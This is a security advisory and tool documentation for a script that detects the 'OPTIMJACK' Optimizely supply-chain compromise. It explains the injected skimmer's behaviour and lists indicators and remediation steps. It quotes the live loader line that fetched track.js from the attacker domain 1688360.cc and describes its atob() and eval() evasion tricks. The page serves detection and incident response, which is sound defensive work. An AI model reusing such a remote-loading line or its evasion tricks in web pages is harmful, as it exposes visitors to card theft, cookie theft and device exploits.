Developer platforms, tools and supply chain
Optimizely Web Experimentation supply-chain compromise ("OPTIMJACK")
Optimizely Web Experimentation supply-chain compromise ("OPTIMJACK")
On 16 November 2026 an attacker got write access to many unrelated customer projects on Optimizely's Web Experimentation platform and injected a loader into each project's "Project JavaScript" field, the one piece of custom code that runs on every page of every experiment in a project. The file was still served from cdn.optimizely.com with Optimizely's own certificate, so nothing about where it came from looked wrong. Report URI found 188 infected snippets across 178 organizations, including Zoom, the BBC, CNN, Salesforce, GitLab, IKEA and HSBC.
| CVE | None at time of writing (Optimizely describes it as an unauthorized party exploiting a vulnerability in its Experimentation platform; researchers have named it OPTIMJACK) |
| Affected | A project's live Optimizely Web Experimentation snippet, if its Project JavaScript carried the injected loader at any point on 16 November 2026 |
| Not affected | Custom code or variation-level code, which the report does not describe as touched; projects whose snippet Report URI or you confirm was never infected |
| Fixed | Optimizely says it has "fixed the vulnerability and removed the injected code from affected projects." There is nothing for a site operator to patch; what is left is site-side: confirm what happened to your own project, and rotate anything that may have been exposed |
| Attacker infrastructure | The main command-and-control domain, 1688360.cc, was put on clientHold at 17 Nov 00:37 UTC and no longer resolves; the earlier-wave domain webshell.lol likewise from 03:37 UTC. Report URI found every snippet it checked clean by 16 Nov 23:11 UTC |
What the injected code did
The loader pulled a second file, commonly named track.js, from the attacker's domain (or ran an inline copy through eval()). That file:
- swapped cryptocurrency addresses for the attacker's own, in page text, the clipboard, and outgoing requests;
- skimmed payment card number, expiry and CVV from a site's own form fields (hosted payment frames such as Stripe or Adyen were out of its reach);
- sent cookies not marked
HttpOnlyand a screenshot of the page to the attacker; - on iPhones and iPads, loaded the Coruna (iOS 13-17) or DarkSword (iOS 18.x) exploit kit through a hidden iframe.
Three loader variants were seen: a plain <script src="https://1688360.cc/track.js">, the same URL hidden in base64 behind atob() specifically so a text search for the domain would miss it, and a full inline copy that ran through eval() as a fallback when the domain itself was blocked. check and hunt look for all three, not just the first.
Quick start
Download the script. The repository is mirrored on GitHub and Codeberg; pick a base URL.
# BASE from GitHub: https://raw.githubusercontent.com/PrivacySafe/security-patches/refs/heads/main
# BASE from Codeberg: https://codeberg.org/PrivacySafe/security-patches/raw/branch/main
# curl -fLO "$BASE/optimizely/optimizely-optimjack-check.sh"
curl -fLO https://raw.githubusercontent.com/PrivacySafe/security-patches/refs/heads/main/optimizely/optimizely-optimjack-check.sh
Read it before running it, then make it executable.
less optimizely-optimjack-check.sh
chmod +x optimizely-optimjack-check.sh
Check your own project's live snippet. No root needed; needs curl for --url, or scan something you already saved with --file.
./optimizely-optimjack-check.sh check --url https://cdn.optimizely.com/js/YOUR_PROJECT_ID.js
Check whether your site's Content-Security-Policy would have blocked this class of attack:
./optimizely-optimjack-check.sh csp --url https://your-site.example/
Commands
| Command | What it does |
|---|---|
check (default) |
Read-only. --url URL fetches and scans one snippet; --file PATH scans a file you already saved. Exactly one is required. Exit 0 nothing found, 1 a known indicator found, 2 could not be fetched or read |
hunt PATH ... |
Read-only. Scans each PATH (a file, or a directory searched recursively for .js/.html/.htm files) for the same indicators. Useful for a saved CDN cache, a static export or a backup. Exit 0 nothing found, 1 a lead, 2 nothing readable at any path |
csp |
Read-only. --header VALUE checks a Content-Security-Policy value you supply (an empty string is a valid answer, meaning no policy); --url URL fetches the header from a live response instead. Reports whether it would block, partly block, or let through this payload |
rules |
Prints a starting Content-Security-Policy line that would have blocked every part of the payload except the in-page address swapping (see below) |
version |
Prints the script version |
What check and hunt actually look for
- The twelve attacker-controlled domains reported by Report URI and corroborated by other coverage:
1688360.cc(the main command-and-control server) and eleven.icu/other domains used for the iOS exploit chain and an earlier wave by the same actor. - Every
atob('...')oratob("...")argument in the file, base64-decoded and checked against those same domains. This is the specific evasion Report URI described: a plain text search for the domain misses it, because the domain only appears after decoding. - Four markers the payload set on an infected page: the globals
window._k7andwindow.__k7b, the iOS loader'sdata-channel-code="02111110"attribute, and the Coruna telemetry channel codeBIGNIAO. - The eight cryptocurrency addresses Report URI published as the attacker's own (BTC, ETH/EVM, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin). A clipper has to carry the address it swaps to somewhere in its own code, so these are worth checking even where the domain itself has been hidden beyond the
atob()case above. - The exact SHA-256 of the two published builds of the payload file itself. The attacker rebuilt it 26 times during the day; these two are the only builds with a published hash, so a match is conclusive but a non-match proves nothing about the other 24.
None of this proves a project was never affected. Report URI's own sweep found every snippet clean by 16 Nov 23:11 UTC, so a check run after that time will not see injected code that was removed earlier the same day. A clean result from this script is not a substitute for checking your Optimizely project's own change history (Settings > History) for 16 November.
If you find something
Treat it the same way whichever command finds it:
- Open your Optimizely project's change history (Settings > History) and look at every change to Project JavaScript on 16 November, and who or what made it (the history also shows whether a change came through the REST API or the web UI).
- Review and rotate every user, API token and integration with write access to the project.
- Treat any card number typed into your own form fields on 16 November, and any secret held in a cookie not marked
HttpOnly, as exposed. - If you visited an affected site yourself on 16 November on an iPhone or iPad, update to iOS 18.7.3 or later, or iOS 26.3 or later, and check recent cryptocurrency transfers and card statements.
Why this script has no mitigate
There is nothing local to fix: the compromise was on Optimizely's own platform, and Optimizely has already removed the injected code and says it has secured the affected accounts. rules prints a Content-Security-Policy that would have blocked the loader, the eval() fallback, the data exfiltration and the iOS exploit iframe, but it cannot be applied automatically, because every site's existing script, connect and frame sources are different and a wrong CSP breaks the site rather than the attack. It also cannot stop the clipboard and page-text address swapping: that runs inside the already-trusted Optimizely script's own execution, which a CSP has no way to tell apart from anything else that script does. Start any new CSP in Content-Security-Policy-Report-Only to see what it would have broken before enforcing it.
The Security Patches software and this documentation are dedicated to the public domain under CC0 1.0 Universal. Other pages on privacysafe.app/docs are CC BY-SA 4.0 unless the page says otherwise.